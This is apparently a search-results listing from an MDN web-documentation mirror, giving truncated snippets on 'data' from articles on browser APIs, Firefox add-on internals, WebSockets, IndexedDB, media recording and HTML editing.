this mechanism is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network tcp socket connection before transmitting data, often over https.
...this handshake, or rather the tls negotiation, determines which cipher will be used to encrypt the communication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data.
... while making the connection secure adds time to the page load, a secure connection is worth the latency expense, as the data transmitted between the browser and the web server cannot be decrypted by a third party.
...And 8 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types.
...the attribute does not specify any processing restrictions; it can be considered metadata.
... 55 data-* attribute, svg the data-* svg attributes are called custom data attributes.
...And 8 more matches
Interacting with page scripts - Archive of obsolete content
a page script adds a string variable foo to the window: <!doctype html"> <html> <head> <script> window.foo = "hello from page script" </script> </head> </html> the content script can see this object if it uses unsafewindow.foo instead of window.foo: // main.js var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var pageurl = self.data.url("page.html") var pagemod = mod.pagemod({ include: pageurl, contentscript: "console.log(unsafewindow.foo);" }) tabs.open(pageurl); be careful using unsafewindow: you can't rely on any of its properties or functions being, or doing, what you expect.
...the "main.js" opens the local file "page.html" and attaches a content script to it: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.open({ url: self.data.url("page.html"), onready: attachscript }); function attachscript(tab) { tab.attach({ contentscriptfile: self.data.url("content-script.js") }); } the content script defines an object and assigns it to unsafewindow twice: the first time using cloneinto(), the second time using simple assignment: // content-script.js var contentscriptobject = {"greeting" : "hello from add-on"}; unsa...
...the "main.js" opens the local file "page.html" and attaches a content script to it: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.open({ url: self.data.url("page.html"), onready: attachscript }); function attachscript(tab) { tab.attach({ contentscriptfile: self.data.url("content-script.js") }); } the content script defines a function greetme() and exports it to the page script context.
...And 7 more matches
indexed-db - Archive of obsolete content
for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this.
... so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; most of the objects that implement the indexeddb api, such as idbtransaction, idbopendbrequest, and idbobjectstore, are accessible through the indexeddb object itself.
... the database created will be unique and private per add-on, and is not linked to any website database.
...And 7 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
to do this, you need to: save the script in add-on's data directory.
... use contentscriptfile option instead of contentscript and pass it script url which can be obtained using self.data.url("my-script.js").
... for example, if we save the script above under the add-on's data directory in a file called my-script.js: // import the page-mod api var pagemod = require("sdk/page-mod"); // import the self api var self = require("sdk/self"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscriptfile: self.data.url("my-script.js") }); or from firefox 34 onwards: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contents...
...And 7 more matches
Session store API - Archive of obsolete content
session store makes it possible for extensions to easily save and restore data across firefox sessions.
...in order to properly restore your extension's state when a tab is restored, it needs to use the session store api's settabvalue() method to save any data it will need in order to restore its state, and then call gettabvalue() to retrieve the previous setting when the tab is restored.
...if your extension wants to be able to restore data when tabs are restored, you can install a listener like this: function myextensionhandlerestore(aevent) { var tab = event.originaltarget; /* the tab being restored */ var uri = tab.linkedbrowser.contentdocument.location; /* the tab's uri */ components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage("restoring tab: " + uri); }; document.addeventlistener("sstabrestoring", myextensionhandlerestore, false); simply replace the contents of the function myextens...
...And 7 more matches
Creating a Web based tone generator - Archive of obsolete content
the function requestsounddata() produces the samples to be played.
... <!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output.
... setinterval(function() { var written; // check if some data was not written in previous attempts.
...And 7 more matches
Drag and Drop Example - Archive of obsolete content
we'll create a listobserver object that will set the data to be dragged.
...var listobserver = { ondragstart: function (event, transferdata, action) { var txt = event.target.getattribute("elem"); transferdata.data = new transferdata(); transferdata.data.adddataforflavour("text/unicode", txt); } } one function has been defined, ondragstart, which will be called by the nsdraganddrop object when necessary.
... the function adds the data to be dragged to the transfer object.
...And 7 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
value description 1 element node 2 attribute node 3 text node 4 cdata section node 5 entity reference node 6 entity node 7 processing instruction node 8 comment node 9 document node 10 document type node 11 document fragment node 12 notation nod...
... createtextnode( atextvalue ) creates and returns a new and parentless dom textnode with the data value specified by atextvalue.
... mozilla uses almost standards mode for the following conditions: for any "loose" doctype (for example, <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en">, <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd">) for the ibm doctype (<!doctype html system "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd">) you can read more about the image gap issue.
...And 7 more matches
Mozilla Crypto FAQ - Archive of obsolete content
is information available describing the format of the psm key and certificate database, so that other software can reuse existing user keys and certificates managed by psm?
... yes, documentation of the database format is available; however we cannot guarantee that the format of the database will remain unchanged in the future.
... the initial release of ssl, s/mime, and general pki source code from iplanet e-commerce solutions includes some documentation on the format of the key and certificate database.
...And 7 more matches
Space Manager High Level Design - Archive of obsolete content
the classes that are considered part of the space manager are: nsspacemanager nsbanddata nsblockbanddata bandrect / bandlist (private structs) frameinfo (private struct) nsbandtrapezoid outside of the space manager itself, the clients of the space manager also play an important part in the management of he available and used space.
... data model class/component diagram nsspacemanager: the central point of management of the space taken up by floats in a block nsbanddata: provides information about the frames occupying a band of occupied or available space nsblockbanddata: a specialization of nsbanddata that is used by nsblockreflowstate to determine the available space, float impacts, and where floats are cleared.
... essentially a css-specific wrapper for generic nsbanddata.
...And 7 more matches
tabbrowser - Archive of obsolete content
ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata addprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents.
... addtab( url, referreruri, charset, postdata, owner, allowthirdpartyfixup ) addtab( url, {referreruri: ..., charset: ..., postdata: ..., owner: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...And 7 more matches
NPP_Destroy - Archive of obsolete content
syntax #include <npapi.h> nperror npp_destroy(npp instance, npsaveddata **save); parameters the function has the following parameters: instance pointer to the plug-in instance to delete.
... description npp_destroy releases the instance data and resources associated with a plug-in.
...you should delete any private instance-specific information stored in the plug-in's instance->pdata at this time.
...And 7 more matches
LiveConnect Overview - Archive of obsolete content
working with wrappers in javascript, a wrapper is an object of the target language data type that encloses an object of the source language.
... note: because java is a strongly typed language and javascript is weakly typed, the javascript runtime engine converts argument values into the appropriate data types for the other language when you use liveconnect.
... see data type conversion for complete information.
...And 7 more matches
Audio for Web games - Game development
buffering and preloading likely as an attempt to mitigate runaway mobile network data use, we also often find that buffering is disabled before playback has been initiated.
... here's an example of an audio sprite player — first let's set up the user interface in html: <audio id="myaudio" src="https://udn.realityripple.com/samples/f0/2909c16512.mp3"></audio> <button data-start="18" data-stop="19">0</button> <button data-start="16" data-stop="17">1</button> <button data-start="14" data-stop="15">2</button> <button data-start="12" data-stop="13">3</button> <button data-start="10" data-stop="11">4</button> <button data-start="8" data-stop="9">5</button> <button data-start="6" data-stop="7">6</button> <button data-start="4" data-stop="5">7</button> <button data-st...
...art="2" data-stop="3">8</button> <button data-start="0" data-stop="1">9</button> now we have buttons with start and stop times in seconds.
...And 7 more matches
Introduction to web APIs - Learn web development
they generally fall into two categories: browser apis are built into your web browser and are able to expose data from the browser and surrounding computer environment and do useful complex things with it.
... apis that fetch data from the server to update small sections of a webpage on their own are very commonly used.
...find out more about such apis in fetching data from the server.
...And 7 more matches
React interactivity: Events and state - Learn web development
we can't pass data from child to parent in the same way as we pass data from parent to child using standard props.
... instead, we can write a function in <app /> that will expect some data from our form as an input, then pass that function to <form /> as a prop.
...once we have our callback prop, we can call it inside <form /> to send the right data to <app />.
...And 7 more matches
Http.jsm
httprequest supports the following parameters: name meaning headers an array of headers postdata this can be: a string: send it as is an array of parameters: encode as form values null/undefined: no post data.
... method get, post or put (this is automatically set if postdata exists).
... headers or post data are given as an array of arrays, for each inner array the first value is the key and the second is the value.
...And 7 more matches
PromiseWorker.jsm
to learn more on how to achieve this see the section in this article titled transferring special data from main thread to worker.
... transferring special data from main thread to worker the regular rules of workers apply; special data of messageport and arraybuffer objects can be transferred as of firefox 40.
... there are two ways to transfer data.
...And 7 more matches
Mozilla Style System Documentation
style context management a style context (class nsstylecontext, currently also interface nsistylecontext although the interface should go away when all of the style systems can be moved back into the layout dll) represents the style data for a css formatting object.
... in css, some of the style data for an element depends on the style data for that element's parent.
... likewise, some of the style data for a pseudo-element depends on the data for the pseudo-elements parent element.
...And 7 more matches
Profiling with Xperf
if you change it within the program, you'll have to close all summary tables and reopen them for it to pick up the new symbol path data.
...start recording data: xperf -on latency -stackwalk profile "latency" is a special provider name that turns on a few predefined kernel providers; run "xperf -providers k" to view a full list of providers and groups.
...capturing heap data the "-heap" option is used to set up heap tracing.
...And 7 more matches
JS_SetPrivate
sets the private data field of an object.
... syntax void js_setprivate(jsobject *obj, void *data); name type description obj jsobject * object for which to set private data.
... data void * private data for the object.
...And 7 more matches
Parser API
builder builder default: null a builder object, which can be used to produce ast nodes in custom data formats.
...the lexical flag is metadata indicating whether the switch statement contains any unnested let declarations (and therefore introduces a new lexical scope).
... xml interface xml <: node { } xml data.
...And 7 more matches
Places Developer Guide
overview places is the umbrella term for a set of apis for managing browsing history and uri metadata first introduced in firefox 3.
...the bookmarks datastore is hierarchical, modeling folders and their contents.
...this is mainly for use by extensions that sync bookmark data between different profiles.
...And 7 more matches
XPCOM hashtable guide
a hashtable is a data construct that stores a set of items.
... any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else.
... hashtables are useful for sets of data that need swift random access; with non-integral keys or non-contiguous integral keys; or where items will be frequently added or removed.
...And 7 more matches
nsICrashReporter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void annotatecrashreport(in acstring key, in acstring data); void appendappnotestocrashreport(in acstring data); void appendobjcexceptioninfotoappnotes(in voidptr aexception); native code only!
... methods annotatecrashreport() add some extra data to be submitted with a crash report.
... void annotatecrashreport( in acstring key, in acstring data ); parameters key name of the data to be added.
...And 7 more matches
nsILoginManagerStorage
out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void init(); void initwithfile(in nsifile ainputfile, in nsifile aoutputfile); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); attributes attribute type description uibusy boolean true when a master password prompt is being shown.
...if newlogindata is specified as an nsilogininfo object, all of the old login's properties are changed to the values from the newlogindata parameter.
... if newlogindata is a nsipropertybag, only the properties specified in the nsipropertybag are changed in oldlogin and its corresponding nsiloginmetainfo.
...And 7 more matches
nsIMsgDBHdr
inherits from: nsisupports this interface is usually given to you in return to a query from the message database.
... headers are backed by the database: a call to these functions directly modifies the state of the database, although it is not saved until the database is committed.
... in clear, if you want to do a persistent change to a message header, such as marking it as read, or replied to, or whatever, you must do it through its corresponding nsimsgfolder (msghdr.folder) or nsimsgdatabase (msghdr.folder.msgdatabase).
...And 7 more matches
nsIStreamConverter
netwerk/streamconv/public/nsistreamconverter.idlscriptable provides an interface to implement when you have code that converts data from one type to another.
...you can supply data directly to the converter by calling it's nsistreamlistener.ondataavailable() method.
... it will then convert that data from type x to your desired output type and return converted data to you via the nsistreamlistener you passed in by calling its nsistreamlistener.ondataavailable() method.
...And 7 more matches
Using files from web applications - Web APIs
they just stop propagation of the event and prevent the default action from occurring: function dragenter(e) { e.stoppropagation(); e.preventdefault(); } function dragover(e) { e.stoppropagation(); e.preventdefault(); } the real magic happens in the drop() function: function drop(e) { e.stoppropagation(); e.preventdefault(); const dt = e.datatransfer; const files = dt.files; handlefiles(files); } here, we retrieve the datatransfer field from the event, pull the file list out of it, and then pass that to handlefiles().
... const reader = new filereader(); reader.onload = (function(aimg) { return function(e) { aimg.src = e.target.result; }; })(img); reader.readasdataurl(file); } } here our loop handling the user-selected files looks at each file's type attribute to see if its mime type begins with the string "image/").
...after creating the new filereader object, we set up its onload function and then call readasdataurl() to start the read operation in the background.
...And 7 more matches
Introduction to the File and Directory Entries API - Web APIs
these apis are a giant evolutionary leap for web apps, which can now cache and process large amounts of data.
...the api is a better choice for apps that deal with blobs for the following reasons: the file and directory entries api offers client-side storage for use cases that are not addressed by databases.
... if you want to have large mutable chunks of data, the file and directory entries api is a much more efficient storage solution than a database.
...And 7 more matches
Fullscreen API - Web APIs
specifications specification status fullscreen api living standard browser compatibility document.fullscreen the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... document.fullscreenelement the compatibility table on this page is generated from structured data.
...And 7 more matches
IDBObjectStore.get() - Web APIs
note: this method produces the same result for: a) a record that doesn't exist in the database and b) a record that has an undefined value.
... dataerror the key or key range provided contains an invalid key.
... example in the following code snippet, we open a read/write transaction on our database and get one specific record from object store using get() — a sample record with the key "walk dog".
...And 7 more matches
IDBOpenDBRequest.onupgradeneeded - Web APIs
the onupgradeneeded property of the idbopendbrequest interface is the event handler for the upgradeneeded event, triggered when a database of a bigger version number than the existing stored database is loaded.
... inside the event handler function you can include code to upgrade the database structure, as shown in the example below.
...}; example in the following example you can see the onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded.
...And 7 more matches
IDBRequest.transaction - Web APIs
this property can be null for requests not made within transactions, such as for requests returned from idbfactory.open — in this case you're just connecting to a database, so there is no transaction to return.
... if a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an idbtransaction with mode equal to "versionchange", and can be used to access existing object stores and indexes, or abort the the upgrade.
...ll working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request ...
...And 7 more matches
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
the db read-only property of the idbtransaction interface returns the database connection with which this transaction is associated.
... syntax var mydatabase = transaction.db; value an idbdatabase object.
... example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...And 7 more matches
Recording a media element - Web APIs
the "download" button will download the received data (although it's in a raw, unwrapped form that isn't very useful).
... starting media recording the startrecording() function handles starting the recording process: function startrecording(stream, lengthinms) { let recorder = new mediarecorder(stream); let data = []; recorder.ondataavailable = event => data.push(event.data); recorder.start(); log(recorder.state + " for " + (lengthinms/1000) + " seconds..."); let stopped = new promise((resolve, reject) => { recorder.onstop = resolve; recorder.onerror = event => reject(event.name); }); let recorded = wait(lengthinms).then( () => recorder.state == "recording" && recorder.stop() ...
... ); return promise.all([ stopped, recorded ]) .then(() => data); } startrecording() takes two input parameters: a mediastream to record from and the length in milliseconds of the recording to make.
...And 7 more matches
MediaStream Recording API - Web APIs
the mediastream recording api makes it possible to capture the data generated by a mediastream or htmlmediaelement object for analysis, processing, or saving to disk.
... basic concepts the mediastream recording api is comprised of a single major interface, mediarecorder, which does all the work of taking the data from a mediastream and delivering it to you for processing.
... the data is delivered by a series of dataavailable events, already in the format you specify when creating the mediarecorder.
...And 7 more matches
USBEndpoint - Web APIs
an endpoint represents a unidirectional data stream into or out of a device.
... usbendpoint.direction returns the direction in which this endpoint transfers data, one of: "in" - data is transferred from device to host.
... "out" - data is transferred from host to device.
...And 7 more matches
WebGL2RenderingContext - Web APIs
buffers webgl2renderingcontext.bufferdata() initializes and creates the buffer object's data store.
... webgl2renderingcontext.buffersubdata() updates a subset of a buffer object's data store.
... webgl2renderingcontext.copybuffersubdata() copies part of the data of a buffer to another buffer.
...And 7 more matches
WebSocket.send() - Web APIs
WebAPIWebSocketsend
the websocket.send() method enqueues the specified data to be transmitted to the server over the websocket connection, increasing the value of bufferedamount by the number of bytes needed to contain the data.
... if the data can't be sent (for example, because it needs to be buffered but the buffer is full), the socket is closed automatically.
... syntax websocket.send("hello server!"); parameters data the data to send to the server.
...And 7 more matches
Writing WebSocket client applications - Web APIs
the readystate will become open once the connection is ready to transfer data.
... sending data to the server once you've opened your connection, you can begin transmitting data to the server.
... to do this, simply call the websocket object's send() method for each message you want to send: examplesocket.send("here's some text that the server is urgently awaiting!"); you can send data as a string, blob, or arraybuffer.
...And 7 more matches
Writing a WebSocket server in C# - Web APIs
properties: int available this property indicates how many bytes of data have been sent.
... the value is zero until networkstream.dataavailable is true.
... tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); //enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); } handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
...And 7 more matches
Lighting a WebXR setting - Web APIs
for each polygon in the scene, the vertex shader program determines the vertices' colors, and then the fragment shader generates each pixel in the polygon by combining the appropriate texel from the assigned texture, any color tint or effect, and other visual data.
...this involves the collection of data that may come from various sensors (including the accelerometer and compass, if available), cameras, and potentially others.
... other data is collected using the geolocation api, and then all this data is put through algorithms and machine learning engines to generate the estimated lighting information.
...And 7 more matches
Web Audio API - Web APIs
audiobuffer the audiobuffer interface represents a short audio asset residing in memory, created from an audio file using the audiocontext.decodeaudiodata() method, or created with raw data using audiocontext.createbuffer().
... audiobuffersourcenode the audiobuffersourcenode interface represents an audio source consisting of in-memory audio data, stored in an audiobuffer.
... mediastreamtrackaudiosourcenode a node of type mediastreamtrackaudiosourcenode represents an audio source whose data comes from a mediastreamtrack.
...And 7 more matches
window.postMessage() - Web APIs
message data to be sent to the other window.
... the data is serialized using the structured clone algorithm.
... this means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.
...And 7 more matches
ARIA: grid role - Accessibility
uses fall into two categories: presenting tabular information (data grids) and grouping other widgets (layout grids).
... even though both data grids and layout grids employ the same aria roles, states, and properties, differences in their content and purpose surface factors that are important to consider in keyboard interaction design.
...vascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(newrow, newcol) { var tgt = document.queryselector('[data-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'...
...And 7 more matches
Border-radius generator - CSS: Cascading Style Sheets
border-radius html content <div id="container"> <div class="group section"> <div id="preview" class="col span_12"> <div id="subject"> <div id="top-left" class="radius-container" data-x="left" data-y="top"> </div> <div id="top-right" class="radius-container" data-x="right" data-y="top"> </div> <div id="bottom-right" class="radius-container" data-x="right" data-y="bottom"> </div> <div id="bottom-left" class="radius-container" data-x="left" data-y="bottom"> </div> <div id="radius...
...-ui-sliders"> <div id="tlr" class="ui-input-slider" data-topic="top-left" data-unit=" px" data-sensivity="2"></div> <div id="tlw" class="ui-input-slider" data-topic="top-left-w" data-unit=" px" data-sensivity="2"></div> <div id="tlh" class="ui-input-slider" data-topic="top-left-h" data-unit=" px" data-sensivity="2"></div> <div id="trr" class="ui-input-slider" data-topic="top-right" data-unit=" px" data-sensivity="2"></div> <div id="trw" class="ui-input-slider" data-topic="top-right-w" data-unit=" px" data-sensivity="2"></div> <div id="trh" class="ui...
...-input-slider" data-topic="top-right-h" data-unit=" px" data-sensivity="2"></div> <div id="brr" class="ui-input-slider" data-topic="bottom-right" data-unit=" px" data-sensivity="2"></div> <div id="brw" class="ui-input-slider" data-topic="bottom-right-w" data-unit=" px" data-sensivity="2"></div> <div id="brh" class="ui-input-slider" data-topic="bottom-right-h" data-unit=" px" data-sensivity="2"></div> <div id="blr" class="ui-input-slider" data-topic="bottom-left" data-unit=" px" data-sensivity="2"></div> <div id="blw" class="ui-input-slider" data-topic="bottom-left-w" ...
...And 7 more matches
Rich-Text Editing in Mozilla - Developer guides
"formatdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" on...
...click="printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadetgw7aaaabgdbtueaalgpc/xhbqaaaazis0deap8a/wd/ol2nkwaaaalwsflzaaalewaacxmbajqcgaaaaad0su1fb9oebxczfmgboiwaaaaidevydenvbw1lbnqa9sywvwaaaufjrefuomvtlutsjfeux//n3nn0ydpbh1abrpt4lfqtqkc3jrkkneisiiribbehjjpklivo4m1rrmkkjqirmjruqudkpt71qpipirkpaqdf55tv5vvuszjqtjolseukd3xu/3dpzusc/22wtu2wrn+jg5so/ocdh8ycmjdflehmlkjkvk7kuyn+ufza/rtth76zavocdptrxzqtni3mrwupc+6cktlxz/sddp2uu9uxlmyxz6qm8v4tz8lhf1h+zdqxt7s8olmxtbf4e8qafhjj3kbp2mzkkthpitjp9vh6ihia+whtasx5brpwuemgdondf/2a4m7ukds1jw662+xkqtkeuoqjktojm2h53yfl15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwj...
...xcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///////////////////////yh5baekaa8alaaaaaawabyaaarr8mljq7046807tkayejjbnes4eeujvigapwyac0csocq7sdlwjkakca6tomywiargqf3mrqviejkksvlibsfewhdrih4fh/dzmice3/c4nbqbads=" /> <img class="intlink" title="redo" onclick="formatdoc('redo');" src="data:image/gif;base64,r0lgodlhfgawamihab1chdljwl9vj1ie34kl8apd+7/i1////yh5baekaacalaaaaaa...
...And 7 more matches
Making content editable - Developer guides
"formatdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" on...
...click="printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadetgw7aaaabgdbtueaalgpc/xhbqaaaazis0deap8a/wd/ol2nkwaaaalwsflzaaalewaacxmbajqcgaaaaad0su1fb9oebxczfmgboiwaaaaidevydenvbw1lbnqa9sywvwaaaufjrefuomvtlutsjfeux//n3nn0ydpbh1abrpt4lfqtqkc3jrkkneisiiribbehjjpklivo4m1rrmkkjqirmjruqudkpt71qpipirkpaqdf55tv5vvuszjqtjolseukd3xu/3dpzusc/22wtu2wrn+jg5so/ocdh8ycmjdflehmlkjkvk7kuyn+ufza/rtth76zavocdptrxzqtni3mrwupc+6cktlxz/sddp2uu9uxlmyxz6qm8v4tz8lhf1h+zdqxt7s8olmxtbf4e8qafhjj3kbp2mzkkthpitjp9vh6ihia+whtasx5brpwuemgdondf/2a4m7ukds1jw662+xkqtkeuoqjktojm2h53yfl15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwj...
...xcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///////////////////////yh5baekaa8alaaaaaawabyaaarr8mljq7046807tkayejjbnes4eeujvigapwyac0csocq7sdlwjkakca6tomywiargqf3mrqviejkksvlibsfewhdrih4fh/dzmice3/c4nbqbads=" /> <img class="intlink" title="redo" onclick="formatdoc('redo');" src="data:image/gif;base64,r0lgodlhfgawamihab1chdljwl9vj1ie34kl8apd+7/i1////yh5baekaacalaaaaaa...
...And 7 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
as soon as you draw into a canvas any data that was loaded from another origin without cors approval, the canvas becomes tainted.
... a tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown.
... calling any of the following on a tainted canvas will result in an error: calling getimagedata() on the canvas's context calling toblob() on the <canvas> element itself calling todataurl() on the canvas attempting any of these when the canvas is tainted will cause a securityerror to be thrown.
...And 7 more matches
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, text inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to d...
